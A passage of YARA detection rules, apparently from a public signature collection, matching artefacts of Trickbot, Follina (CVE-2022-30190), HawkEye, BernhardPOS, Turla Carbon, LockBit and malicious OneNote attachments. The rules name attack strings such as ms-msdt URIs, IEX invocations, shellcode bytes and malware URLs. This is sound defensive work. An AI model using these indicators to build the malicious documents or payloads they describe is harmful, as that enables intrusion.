		$x3 = "H4sIAAAAAAAEAO1YfXRUx3WflXalFazQgiVb5nMVryzxIbGrt/rcFRZIa1CQYEFCQnxotUhP2pX3Q337HpYotCKrPdbmoQQnkOY0+BQCNKRpe" ascii

	condition:
		1 of them
}

rule p0wnedShell_outputs
{
	meta:
		description = "p0wnedShell Runspace Post Exploitation Toolkit - from files p0wnedShell.cs, p0wnedShell.cs"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://github.com/Cn33liz/p0wnedShell"
		date = "2017-01-14"
		super_rule = 1
		hash1 = "e1f35310192416cd79e60dba0521fc6eb107f3e65741c344832c46e9b4085e60"
		id = "c19fc14b-0c42-5dd1-bff2-ba75f4168d9c"

	strings:
		$s1 = "[+] For this attack to succeed, you need to have Admin privileges." fullword ascii
		$s2 = "[+] This is not a valid hostname, please try again" fullword ascii
		$s3 = "[+] First return the name of our current domain." fullword ascii

	condition:
		1 of them
}

rule Flash_CVE_2015_5119_APT3_leg
{
	meta:
		description = "Exploit Sample CVE-2015-5119"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		score = 70
		yaraexchange = "No distribution without author's consent"
		date = "2015-08-01"
		id = "d9efaea3-0644-501a-990b-665e257beb86"

	strings:
		$s0 = "HT_exploit" fullword ascii
		$s1 = "HT_Exploit" fullword ascii
		$s2 = "flash_exploit_" ascii
		$s3 = "exp1_fla/MainTimeline" ascii fullword
		$s4 = "exp2_fla/MainTimeline" ascii fullword
		$s5 = "_shellcode_32" ascii
		$s6 = "todo: unknown 32-bit target" fullword ascii

	condition:
		uint16( 0 ) == 0x5746 and 1 of them
}

rule MAL_Trickbot_Oct19_1
{
	meta:
		description = "Detects Trickbot malware"
		author = "Florian Roth (Nextron Systems)"
		reference = "Internal Research"
		date = "2019-10-02"
		hash1 = "58852140a2dc30e799b7d50519c56e2fd3bb506691918dbf5d4244cc1f4558a2"
		hash2 = "aabf54eb27de3d72078bbe8d99a92f5bcc1e43ff86774eb5321ed25fba5d27d4"
		hash3 = "9d6e4ad7f84d025bbe9f95e74542e7d9f79e054f6dcd7b37296f01e7edd2abae"
		id = "b428cbf9-0796-5a01-9b98-28e1bc6827cc"

	strings:
		$s1 = "Celestor@hotmail.com" fullword ascii
		$s2 = "\\txtPassword" ascii
		$s14 = "Invalid Password, try again!" fullword wide
		$op1 = { 78 c4 40 00 ff ff ff ff b4 47 41 }
		$op2 = { 9b 68 b2 34 46 00 eb 14 8d 55 e4 8d 45 e8 52 50 }

	condition:
		uint16( 0 ) == 0x5a4d and filesize <= 2000KB and 3 of them
}

rule MAL_Trickbot_Oct19_2
{
	meta:
		description = "Detects Trickbot malware"
		author = "Florian Roth (Nextron Systems)"
		reference = "Internal Research"
		date = "2019-10-02"
		hash1 = "57b8ea2870f5176a30e6cba2d717fb3ff342f8bd36bac652dc4194a313b5fa64"
		hash2 = "d75561a744e3ed45dfbf25fe7c120bd24c38138ac469fd02e383dd455a540334"
		id = "2ff69a51-d089-53e5-ab19-4fbdf20f90f8"

	strings:
		$x1 = "C:\\Users\\User\\Desktop\\Encrypt\\Math_Cad\\Release\\Math_Cad.pdb" fullword ascii
		$x2 = "AxedWV3OVTFfnGb" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize <= 2000KB and 1 of them
}

import "pe"

rule MAL_Trickbot_Oct19_3
{
	meta:
		description = "Detects Trickbot malware"
		author = "Florian Roth (Nextron Systems)"
		reference = "Internal Research"
		date = "2019-10-02"
		hash1 = "25a4ae2a1ce6dbe7da4ba1e2559caa7ed080762cf52dba6c8b55450852135504"
		hash2 = "57b8ea2870f5176a30e6cba2d717fb3ff342f8bd36bac652dc4194a313b5fa64"
		hash3 = "d75561a744e3ed45dfbf25fe7c120bd24c38138ac469fd02e383dd455a540334"
		hash4 = "57b8ea2870f5176a30e6cba2d717fb3ff342f8bd36bac652dc4194a313b5fa64"
		hash5 = "e92dd00b092b435420f0996e4f557023fe1436110a11f0f61fbb628b959aac99"
		id = "3428b7e3-def9-5574-bbbb-6ba98c134dec"

	strings:
		$s1 = "Decrypt Shell Fail" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize <= 2000KB and ( 1 of them or pe.imphash ( ) == "4e3fbfbf1fc23f646cd40a6fe09385a7" )
}

rule MAL_Trickbot_Oct19_4
{
	meta:
		description = "Detects Trickbot malware"
		author = "Florian Roth (Nextron Systems)"
		reference = "Internal Research"
		date = "2019-10-02"
		hash1 = "25a4ae2a1ce6dbe7da4ba1e2559caa7ed080762cf52dba6c8b55450852135504"
		hash2 = "e92dd00b092b435420f0996e4f557023fe1436110a11f0f61fbb628b959aac99"
		hash3 = "aabf54eb27de3d72078bbe8d99a92f5bcc1e43ff86774eb5321ed25fba5d27d4"
		hash4 = "9ecc794ec77ce937e8c835d837ca7f0548ef695090543ed83a7adbc07da9f536"
		id = "dcadaa50-52ae-5ded-b40e-149f28092093"

	strings:
		$x1 = "c:\\users\\user\\documents\\visual studio 2005\\projects\\adzxser\\release\\ADZXSER.pdb" fullword ascii
		$x2 = "http://root-hack.org" fullword ascii
		$x3 = "http://hax-studios.net" fullword ascii
		$x4 = "5OCFBBKCAZxWUE#$_SVRR[SQJ" fullword ascii
		$x5 = "G*\\AC:\\Users\\911\\Desktop\\cButtonBar\\cButtonBar\\ButtonBar.vbp" fullword wide

	condition:
		uint16( 0 ) == 0x5a4d and filesize <= 2000KB and 1 of them
}

rule MAL_Trickbot_Oct19_5
{
	meta:
		description = "Detects Trickbot malware"
		author = "Florian Roth (Nextron Systems)"
		reference = "Internal Research"
		date = "2019-10-02"
		hash1 = "58852140a2dc30e799b7d50519c56e2fd3bb506691918dbf5d4244cc1f4558a2"
		hash2 = "aabf54eb27de3d72078bbe8d99a92f5bcc1e43ff86774eb5321ed25fba5d27d4"
		hash3 = "9ecc794ec77ce937e8c835d837ca7f0548ef695090543ed83a7adbc07da9f536"
		hash4 = "9d6e4ad7f84d025bbe9f95e74542e7d9f79e054f6dcd7b37296f01e7edd2abae"
		id = "b3034f0c-5fd9-58a2-866f-9100e3a56f39"

	strings:
		$s1 = "LoadShellCode" fullword ascii
		$s2 = "pShellCode" fullword ascii
		$s3 = "InitShellCode" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize <= 2000KB and 2 of them
}

rule MAL_Trickbot_Oct19_6
{
	meta:
		description = "Detects Trickbot malware"
		author = "Florian Roth (Nextron Systems)"
		reference = "Internal Research"
		date = "2019-10-02"
		hash1 = "cf99990bee6c378cbf56239b3cc88276eec348d82740f84e9d5c343751f82560"
		hash2 = "cf99990bee6c378cbf56239b3cc88276eec348d82740f84e9d5c343751f82560"
		id = "5feb8d34-4974-5315-a5f9-79a3fac83d1d"

	strings:
		$x1 = "D:\\MyProjects\\spreader\\Release\\ssExecutor_x86.pdb" fullword ascii
		$s1 = "%s\\appdata\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\%s" fullword ascii
		$s2 = "%s\\appdata\\roaming\\%s" fullword ascii
		$s3 = "WINDOWS\\SYSTEM32\\TASKS" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize <= 400KB and ( 1 of ( $x* ) or 3 of them )
}

rule SUSP_PS1_Msdt_Execution_May22
{
	meta:
		description = "Detects suspicious calls of msdt.exe as seen in CVE-2022-30190 / Follina exploitation"
		author = "Nasreddine Bencherchali, Christian Burkard"
		date = "2022-05-31"
		modified = "2022-07-08"
		reference = "https://doublepulsar.com/follina-a-microsoft-office-code-execution-vulnerability-1a47fce5629e"
		score = 75
		id = "caa8a042-ffd4-52b2-a9f0-86e6c83a0aa3"

	strings:
		$a = "PCWDiagnostic" ascii wide fullword
		$sa1 = "msdt.exe" ascii wide
		$sa2 = "msdt " ascii wide
		$sa3 = "ms-msdt" ascii wide
		$sb1 = "/af " ascii wide
		$sb2 = "-af " ascii wide
		$sb3 = "IT_BrowseForFile=" ascii wide
		$fp1 = { 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00
               46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00
               00 00 70 00 63 00 77 00 72 00 75 00 6E 00 2E 00
               65 00 78 00 65 00 }
		$fp2 = "FilesFullTrust" wide

	condition:
		filesize < 10MB and $a and 1 of ( $sa* ) and 1 of ( $sb* ) and not 1 of ( $fp* )
}

rule SUSP_Doc_WordXMLRels_May22
{
	meta:
		description = "Detects a suspicious pattern in docx document.xml.rels file as seen in CVE-2022-30190 / Follina exploitation"
		author = "Tobias Michalski, Christian Burkard, Wojciech Cieslak"
		date = "2022-05-30"
		modified = "2022-06-20"
		reference = "https://doublepulsar.com/follina-a-microsoft-office-code-execution-vulnerability-1a47fce5629e"
		hash = "62f262d180a5a48f89be19369a8425bec596bc6a02ed23100424930791ae3df0"
		score = 70
		id = "304c4816-b2f6-5319-9fe9-8f74bdb82ad0"

	strings:
		$a1 = "<Relationships" ascii
		$a2 = "TargetMode=\"External\"" ascii
		$x1 = ".html!" ascii
		$x2 = ".htm!" ascii
		$x3 = "%2E%68%74%6D%6C%21" ascii
		$x4 = "%2E%68%74%6D%21" ascii

	condition:
		filesize < 50KB and all of ( $a* ) and 1 of ( $x* )
}

rule SUSP_Doc_RTF_ExternalResource_May22
{
	meta:
		description = "Detects a suspicious pattern in RTF files which downloads external resources as seen in CVE-2022-30190 / Follina exploitation"
		author = "Tobias Michalski, Christian Burkard"
		date = "2022-05-30"
		modified = "2022-05-31"
		reference = "https://doublepulsar.com/follina-a-microsoft-office-code-execution-vulnerability-1a47fce5629e"
		score = 70
		id = "71bb97e0-ec12-504c-a1f6-25039ac91c86"

	strings:
		$s1 = " LINK htmlfile \"http" ascii
		$s2 = ".html!\" " ascii

	condition:
		uint32be( 0 ) == 0x7B5C7274 and filesize < 300KB and all of them
}

rule EXPL_Follina_CVE_2022_30190_Msdt_MSProtocolURI_May22
{
	meta:
		description = "Detects the malicious usage of the ms-msdt URI as seen in CVE-2022-30190 / Follina exploitation"
		author = "Tobias Michalski, Christian Burkard"
		date = "2022-05-30"
		modified = "2022-07-18"
		reference = "https://doublepulsar.com/follina-a-microsoft-office-code-execution-vulnerability-1a47fce5629e"
		hash1 = "4a24048f81afbe9fb62e7a6a49adbd1faf41f266b5f9feecdceb567aec096784"
		hash2 = "778cbb0ee4afffca6a0b788a97bc2f4855ceb69ddc5eaa230acfa2834e1aeb07"
		score = 80
		id = "62e67c25-a420-5dac-9d1c-b0648ea6b574"

	strings:
		$re1 = /location\.href\s{0,20}=\s{0,20}"ms-msdt:/
		$a1 = "%6D%73%2D%6D%73%64%74%3A%2F" ascii

	condition:
		filesize > 3KB and filesize < 100KB and 1 of them
}

rule SUSP_Doc_RTF_OLE2Link_Jun22
{
	meta:
		description = "Detects a suspicious pattern in RTF files which downloads external resources"
		author = "Christian Burkard"
		date = "2022-06-01"
		reference = "Internal Research"
		hash = "4abc20e5130b59639e20bd6b8ad759af18eb284f46e99a5cc6b4f16f09456a68"
		score = 75
		id = "e9c83d58-6214-51d5-882a-4bd2ed6acc9a"

	strings:
		$sa = "\\objdata" ascii nocase
		$sb1 = "4f4c45324c696e6b" ascii
		$sb2 = "4F4C45324C696E6B" ascii
		$sc1 = "d0cf11e0a1b11ae1" ascii
		$sc2 = "D0CF11E0A1B11AE1" ascii
		$x1 = "68007400740070003a002f002f00" ascii
		$x2 = "68007400740070003A002F002F00" ascii
		$x3 = "680074007400700073003a002f002f00" ascii
		$x4 = "680074007400700073003A002F002F00" ascii
		$x5 = "6600740070003a002f002f00" ascii
		$x6 = "6600740070003A002F002F00" ascii

	condition:
		( uint32be( 0 ) == 0x7B5C7274 or uint32be( 0 ) == 0x7B5C2A5C ) and $sa and 1 of ( $sb* ) and 1 of ( $sc* ) and 1 of ( $x* )
}

rule SUSP_Doc_RTF_OLE2Link_EMAIL_Jun22
{
	meta:
		description = "Detects a suspicious pattern in RTF files which downloads external resources inside e-mail attachments"
		author = "Christian Burkard"
		date = "2022-06-01"
		reference = "Internal Research"
		hash = "4abc20e5130b59639e20bd6b8ad759af18eb284f46e99a5cc6b4f16f09456a68"
		score = 75
		id = "48cde505-3ce4-52ef-b338-0c08ac4f63de"

	strings:
		$sa1 = "XG9iamRhdG" ascii
		$sa2 = "xvYmpkYXRh" ascii
		$sa3 = "cb2JqZGF0Y" ascii
		$sb1 = "NGY0YzQ1MzI0YzY5NmU2Y" ascii
		$sb2 = "RmNGM0NTMyNGM2OTZlNm" ascii
		$sb3 = "0ZjRjNDUzMjRjNjk2ZTZi" ascii
		$sb4 = "NEY0QzQ1MzI0QzY5NkU2Q" ascii
		$sb5 = "RGNEM0NTMyNEM2OTZFNk" ascii
		$sb6 = "0RjRDNDUzMjRDNjk2RTZC" ascii
		$sc1 = "ZDBjZjExZTBhMWIxMWFlM" ascii
		$sc2 = "QwY2YxMWUwYTFiMTFhZT" ascii
		$sc3 = "kMGNmMTFlMGExYjExYWUx" ascii
		$sc4 = "RDBDRjExRTBBMUIxMUFFM" ascii
		$sc5 = "QwQ0YxMUUwQTFCMTFBRT" ascii
		$sc6 = "EMENGMTFFMEExQjExQUUx" ascii
		$x1 = "NjgwMDc0MDA3NDAwNzAwMDNhMDAyZjAwMmYwM" ascii
		$x2 = "Y4MDA3NDAwNzQwMDcwMDAzYTAwMmYwMDJmMD" ascii
		$x3 = "2ODAwNzQwMDc0MDA3MDAwM2EwMDJmMDAyZjAw" ascii
		$x4 = "NjgwMDc0MDA3NDAwNzAwMDNBMDAyRjAwMkYwM" ascii
		$x5 = "Y4MDA3NDAwNzQwMDcwMDAzQTAwMkYwMDJGMD" ascii
		$x6 = "2ODAwNzQwMDc0MDA3MDAwM0EwMDJGMDAyRjAw" ascii
		$x7 = "NjgwMDc0MDA3NDAwNzAwMDczMDAzYTAwMmYwMDJmMD" ascii
		$x8 = "Y4MDA3NDAwNzQwMDcwMDA3MzAwM2EwMDJmMDAyZjAw" ascii
		$x9 = "2ODAwNzQwMDc0MDA3MDAwNzMwMDNhMDAyZjAwMmYwM" ascii
		$x10 = "NjgwMDc0MDA3NDAwNzAwMDczMDAzQTAwMkYwMDJGMD" ascii
		$x11 = "Y4MDA3NDAwNzQwMDcwMDA3MzAwM0EwMDJGMDAyRjAw" ascii
		$x12 = "2ODAwNzQwMDc0MDA3MDAwNzMwMDNBMDAyRjAwMkYwM" ascii
		$x13 = "NjYwMDc0MDA3MDAwM2EwMDJmMDAyZjAw" ascii
		$x14 = "Y2MDA3NDAwNzAwMDNhMDAyZjAwMmYwM" ascii
		$x15 = "2NjAwNzQwMDcwMDAzYTAwMmYwMDJmMD" ascii
		$x16 = "NjYwMDc0MDA3MDAwM0EwMDJGMDAyRjAw" ascii
		$x17 = "Y2MDA3NDAwNzAwMDNBMDAyRjAwMkYwM" ascii
		$x18 = "2NjAwNzQwMDcwMDAzQTAwMkYwMDJGMD" ascii

	condition:
		filesize < 10MB and 1 of ( $sa* ) and 1 of ( $sb* ) and 1 of ( $sc* ) and 1 of ( $x* )
}

rule SUSP_DOC_RTF_ExternalResource_EMAIL_Jun22
{
	meta:
		description = "Detects a suspicious pattern in RTF files which downloads external resources as seen in CVE-2022-30190 / Follina exploitation inside e-mail attachment"
		author = "Christian Burkard"
		date = "2022-06-01"
		reference = "https://doublepulsar.com/follina-a-microsoft-office-code-execution-vulnerability-1a47fce5629e"
		score = 70
		id = "3ddc838c-8520-5572-9652-8cb823f83e27"

	strings:
		$sa1 = "PFJlbGF0aW9uc2hpcH" ascii
		$sa2 = "xSZWxhdGlvbnNoaXBz" ascii
		$sa3 = "8UmVsYXRpb25zaGlwc" ascii
		$sb1 = "VGFyZ2V0TW9kZT0iRXh0ZXJuYWwi" ascii
		$sb2 = "RhcmdldE1vZGU9IkV4dGVybmFsI" ascii
		$sb3 = "UYXJnZXRNb2RlPSJFeHRlcm5hbC" ascii
		$sc1 = "Lmh0bWwhI" ascii
		$sc2 = "5odG1sIS" ascii
		$sc3 = "uaHRtbCEi" ascii

	condition:
		filesize < 400KB and 1 of ( $sa* ) and 1 of ( $sb* ) and 1 of ( $sc* )
}

rule SUSP_Msdt_Artefact_Jun22_2
{
	meta:
		description = "Detects suspicious pattern in msdt diagnostics log (e.g. CVE-2022-30190 / Follina exploitation)"
		author = "Christian Burkard"
		date = "2022-06-01"
		modified = "2022-07-29"
		reference = "https://twitter.com/nas_bench/status/1531718490494844928"
		score = 75
		id = "aa2a4bd7-2094-5652-a088-f58d0c7d3f62"

	strings:
		$a1 = "<ScriptError><Data id=\"ScriptName\" name=\"Script\">TS_ProgramCompatibilityWizard.ps1" ascii
		$x1 = "/../../" ascii
		$x2 = "$(Invoke-Expression" ascii
		$x3 = "$(IEX(" ascii nocase

	condition:
		uint32( 0 ) == 0x6D783F3C and $a1 and 1 of ( $x* )
}

rule SUSP_LNK_Follina_Jun22
{
	meta:
		description = "Detects LNK files with suspicious Follina/CVE-2022-30190 strings"
		author = "Paul Hager"
		date = "2022-06-02"
		reference = "https://twitter.com/gossithedog/status/1531650897905950727"
		score = 75
		id = "d331d584-2ab3-5275-b435-6129c7291417"

	strings:
		$sa1 = "msdt.exe" ascii wide
		$sa2 = "msdt " ascii wide
		$sa3 = "ms-msdt:" ascii wide
		$sb = "IT_BrowseForFile=" ascii wide

	condition:
		filesize < 5KB and uint16( 0 ) == 0x004c and uint32( 4 ) == 0x00021401 and 1 of ( $sa* ) and $sb
}

rule BernhardPOS
{
	meta:
		author = "Nick Hoffman / Jeremy Humble"
		last_update = "2015-07-14"
		source = "Morphick Inc."
		description = "BernhardPOS Credit Card dumping tool"
		reference = "http://morphick.com/blog/2015/7/14/bernhardpos-new-pos-malware-discovered-by-morphick"
		md5 = "e49820ef02ba5308ff84e4c8c12e7c3d"
		score = 70
		id = "9b9e1507-cf1b-5653-beaa-458205e367c3"

	strings:
		$shellcode_kernel32_with_junk_code = { 33 c0 83 ?? ?? 83 ?? ?? 64 a1 30 00 00 00 83 ?? ?? 83 ?? ?? 8b 40 0c 83 ?? ?? 83 ?? ?? 8b 40 14 83 ?? ?? 83 ?? ?? 8b 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 8b 00 83 ?? ?? 83 ?? ?? 8b 40 10 83 ?? ?? }
		$mutex_name = "OPSEC_BERNHARD"
		$build_path = "C:\\bernhard\\Debug\\bernhard.pdb"
		$string_decode_routine = { 55 8b ec 83 ec 50 53 56 57 a1 ?? ?? ?? ?? 89 45 f8 66 8b 0d ?? ?? ?? ?? 66 89 4d fc 8a 15 ?? ?? ?? ?? 88 55 fe 8d 45 f8 50 ff ?? ?? ?? ?? ?? 89 45 f0 c7 45 f4 00 00 00 00 ?? ?? 8b 45 f4 83 c0 01 89 45 f4 8b 45 08 50 ff ?? ?? ?? ?? ?? 39 45 f4 ?? ?? 8b 45 08 03 45 f4 0f be 08 8b 45 f4 99 f7 7d f0 0f be 54 15 f8 33 ca 8b 45 08 03 45 f4 88 08 ?? ?? 5f 5e 5b 8b e5 5d }

	condition:
		any of them
}

rule Saudi_Phish_Trojan
{
	meta:
		description = "Detects a trojan used in Saudi Aramco Phishing"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://goo.gl/Z3JUAA"
		date = "2017-10-12"
		hash1 = "8ad94dc5d59aa1e9962c76fd5ca042e582566049a97aef9f5730ba779e5ebb91"
		id = "d805391d-1256-5dac-8585-ccf3391d4e91"

	strings:
		$s1 = { 7B 00 30 00 7D 00 7B 00 31 00 7D 00 5C 00 00 09
               2E 00 64 00 6C 00 6C 00 00 11 77 00 33 00 77 00
               70 00 2E 00 65 00 78 00 65 00 00 1B 61 00 73 00
               70 00 6E 00 65 00 74 00 5F 00 77 00 70 00 2E 00
               65 00 78 00 65 }

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 3000KB and 1 of them )
}

rule HawkEye_Keylogger_Feb18_1
{
	meta:
		description = "Semiautomatically generated YARA rule"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://app.any.run/tasks/ae2521dd-61aa-4bc7-b0d8-8c85ddcbfcc9"
		date = "2018-02-12"
		modified = "2023-01-06"
		score = 90
		hash1 = "bb58922ad8d4a638e9d26076183de27fb39ace68aa7f73adc0da513ab66dc6fa"
		id = "6b4b447f-43d6-5774-a1b9-d53b40364732"

	strings:
		$s1 = "UploadReportLogin.asmx" fullword wide
		$s2 = "tmp.exe" fullword wide
		$s3 = "%appdata%\\" wide

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 2000KB and all of them
}

rule MAL_HawkEye_Keylogger_Gen_Dec18
{
	meta:
		description = "Detects HawkEye Keylogger Reborn"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://twitter.com/James_inthe_box/status/1072116224652324870"
		date = "2018-12-10"
		hash1 = "b8693e015660d7bd791356b352789b43bf932793457d54beae351cf7a3de4dad"
		id = "1d06f364-a4e2-5632-ad3a-d53a8cddf072"

	strings:
		$s1 = "HawkEye Keylogger" fullword wide
		$s2 = "_ScreenshotLogger" ascii
		$s3 = "_PasswordStealer" ascii

	condition:
		2 of them
}

rule generic_carbon
{
	meta:
		author = "ESET Research"
		date = "2017-03-30"
		description = "Turla Carbon malware"
		reference = "https://www.welivesecurity.com/2017/03/30/carbon-paper-peering-turlas-second-stage-backdoor/"
		source = "https://github.com/eset/malware-ioc/"
		contact = "github@eset.com"
		license = "BSD 2-Clause"
		id = "efdc0d16-a974-5c00-a401-391d60f3081e"

	strings:
		$s1 = "ModStart"
		$t1 = "STOP|OK"
		$t2 = "STOP|KILL"

	condition:
		( uint16( 0 ) == 0x5a4d ) and ( 1 of ( $s* ) ) and ( 1 of ( $t* ) )
}

import "pe"

rule carbon_metadata
{
	meta:
		author = "ESET Research"
		date = "2017-03-30"
		description = "Turla Carbon malware"
		reference = "https://www.welivesecurity.com/2017/03/30/carbon-paper-peering-turlas-second-stage-backdoor/"
		source = "https://github.com/eset/malware-ioc/"
		contact = "github@eset.com"
		license = "BSD 2-Clause"
		id = "976b6a7d-00bf-5d0f-baf9-84fc5dbd21a2"

	condition:
		(pe.version_info [ "InternalName" ] contains "SERVICE.EXE" or pe.version_info [ "InternalName" ] contains "MSIMGHLP.DLL" or pe.version_info [ "InternalName" ] contains "MSXIML.DLL" ) and pe.version_info [ "CompanyName" ] contains "Microsoft Corporation"
}

rule SUSP_Email_Suspicious_OneNote_Attachment_Jan23_1
{
	meta:
		description = "Detects suspicious OneNote attachment that embeds suspicious payload, e.g. an executable (FPs possible if the PE is attached separately)"
		author = "Florian Roth (Nextron Systems)"
		reference = "Internal Research"
		date = "2023-01-27"
		score = 65
		id = "492b74c2-3b81-5dff-9244-8528565338c6"

	strings:
		$ge1 = "5xbjvWUmEUWkxI1NC3qer"
		$ge2 = "cW471lJhFFpMSNTQt6nq"
		$ge3 = "nFuO9ZSYRRaTEjU0Lep6s"
		$sp1 = "VGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZG"
		$sp2 = "RoaXMgcHJvZ3JhbSBjYW5ub3QgYmUgcnVuIGluIERPUyBtb2Rl"
		$sp3 = "UaGlzIHByb2dyYW0gY2Fubm90IGJlIHJ1biBpbiBET1MgbW9kZ"
		$sp4 = "VGhpcyBwcm9ncmFtIG11c3QgYmUgcnVuIHVuZGVy"
		$sp5 = "RoaXMgcHJvZ3JhbSBtdXN0IGJlIHJ1biB1bmRlc"
		$sp6 = "UaGlzIHByb2dyYW0gbXVzdCBiZSBydW4gdW5kZX"
		$se1 = "QGVjaG8gb2Zm"
		$se2 = "BlY2hvIG9mZ"
		$se3 = "AZWNobyBvZm"
		$se4 = "PEhUQTpBUFBMSUNBVElPTi"
		$se5 = "xIVEE6QVBQTElDQVRJT04g"
		$se6 = "8SFRBOkFQUExJQ0FUSU9OI"
		$se7 = "TAAAAAEUAg"
		$se8 = "wAAAABFAIA"
		$se9 = "MAAAAARQCA"

	condition:
		filesize < 5MB and 1 of ( $ge* ) and 1 of ( $s* )
}

rule SUSP_Email_Suspicious_OneNote_Attachment_Jan23_2
{
	meta:
		description = "Detects suspicious OneNote attachment that has a file name often used in phishing attacks"
		author = "Florian Roth (Nextron Systems)"
		reference = "Internal Research"
		date = "2023-01-27"
		score = 65
		id = "f8c58c73-2404-5ce6-8e8f-99b0dad84ad0"

	strings:
		$hc1 = { 2E 6F 6E 65 22 0D 0A 0D 0A 35 46 4A 63 65 }
		$x01 = " attachment; filename=\"Invoice" nocase
		$x02 = " attachment; filename=\"ORDER" nocase
		$x03 = " attachment; filename=\"PURCHASE" nocase
		$x04 = " attachment; filename=\"SHIP" nocase

	condition:
		filesize < 5MB and $hc1 and 1 of ( $x* )
}

rule SUSP_OneNote_Embedded_FileDataStoreObject_Type_Jan23_1
{
	meta:
		description = "Detects suspicious embedded file types in OneNote files"
		author = "Florian Roth"
		reference = "https://blog.didierstevens.com/"
		date = "2023-01-27"
		modified = "2023-02-27"
		score = 65
		id = "b8ea8c7b-052f-5a97-9577-99903462ea84"

	strings:
		$x1 = { e7 16 e3 bd 65 26 11 45 a4 c4 8d 4d 0b 7a 9e ac
              ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ??
              ?? ?? ?? ?? 4d 5a }
		$x2 = { e7 16 e3 bd 65 26 11 45 a4 c4 8d 4d 0b 7a 9e ac
              ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ??
              ?? ?? ?? ?? [0-4] 40 65 63 68 6f }
		$x3 = { e7 16 e3 bd 65 26 11 45 a4 c4 8d 4d 0b 7a 9e ac
              ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ??
              ?? ?? ?? ?? [0-4] 40 45 43 48 4f }
		$x4 = { e7 16 e3 bd 65 26 11 45 a4 c4 8d 4d 0b 7a 9e ac
              ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ??
              ?? ?? ?? ?? [0-4] 4F 6E 20 45 }
		$x5 = { e7 16 e3 bd 65 26 11 45 a4 c4 8d 4d 0b 7a 9e ac
              ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ??
              ?? ?? ?? ?? [0-4] 6F 6E 20 65 }
		$x6 = { e7 16 e3 bd 65 26 11 45 a4 c4 8d 4d 0b 7a 9e ac
              ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ??
              ?? ?? ?? ?? 4c 00 00 00 }
		$x7 = { e7 16 e3 bd 65 26 11 45 a4 c4 8d 4d 0b 7a 9e ac
              ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ??
              ?? ?? ?? ?? 49 54 53 46 }
		$x8 = { e7 16 e3 bd 65 26 11 45 a4 c4 8d 4d 0b 7a 9e ac
              ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ??
              ?? ?? ?? ?? [6-200] 3C 68 74 61 3A }
		$x9 = { e7 16 e3 bd 65 26 11 45 a4 c4 8d 4d 0b 7a 9e ac
              ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ??
              ?? ?? ?? ?? [6-200] 3C 48 54 41 3A }
		$x10 = { e7 16 e3 bd 65 26 11 45 a4 c4 8d 4d 0b 7a 9e ac
              ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ??
              ?? ?? ?? ?? [6-200] 3C 6A 6F 62 20 }

	condition:
		filesize < 10MB and 1 of them
}

rule SUSP_OneNote_Embedded_FileDataStoreObject_Type_Jan23_2
{
	meta:
		description = "Detects suspicious embedded file types in OneNote files"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://blog.didierstevens.com/"
		date = "2023-01-27"
		score = 65
		id = "0664d202-ab4c-57b6-91ee-ea21ac08909e"

	strings:
		$a1 = { 00 e7 16 e3 bd 65 26 11 45 a4 c4 8d 4d 0b 7a 9e ac }
		$s1 = "<HTA:APPLICATION "

	condition:
		filesize < 5MB and $a1 and 1 of ( $s* )
}

rule MAL_RANSOM_LNX_macOS_LockBit_Apr23_1
{
	meta:
		description = "Detects LockBit ransomware samples for Linux and macOS"
		author = "Florian Roth"
		reference = "https://twitter.com/malwrhunterteam/status/1647384505550876675?s=20"
		date = "2023-04-15"
		hash1 = "0a2bffa0a30ec609d80591eef1d0994d8b37ab1f6a6bad7260d9d435067fb48e"
		hash2 = "9ebcbaf3c9e2bbce6b2331238ab584f95f7ced326ca4aba2ddcc8aa8ee964f66"
		hash3 = "a405d034c01a357a89c9988ffe8a46a165915df18fd297469b2bcaaf97578442"
		hash4 = "c9cac06c9093e9026c169adc3650b018d29c8b209e3ec511bbe34cbe1638a0d8"
		hash5 = "dc3d08480f5e18062a0643f9c4319e5c3f55a2e7e93cd8eddd5e0c02634df7cf"
		hash6 = "e77124c2e9b691dbe41d83672d3636411aaebc0aff9a300111a90017420ff096"
		hash7 = "0be6f1e927f973df35dad6fc661048236d46879ad59f824233d757ec6e722bde"
		hash8 = "3e4bbd21756ae30c24ff7d6942656be024139f8180b7bddd4e5c62a9dfbd8c79"
		score = 85
		id = "c01cb907-7d30-5487-b908-51f69ddb914c"

	strings:
		$x1 = "restore-my-files.txt" ascii fullword
		$s1 = "ntuser.dat.log" ascii fullword
		$s2 = "bootsect.bak" ascii fullword
		$s3 = "autorun.inf" ascii fullword
		$s4 = "lockbit" ascii fullword
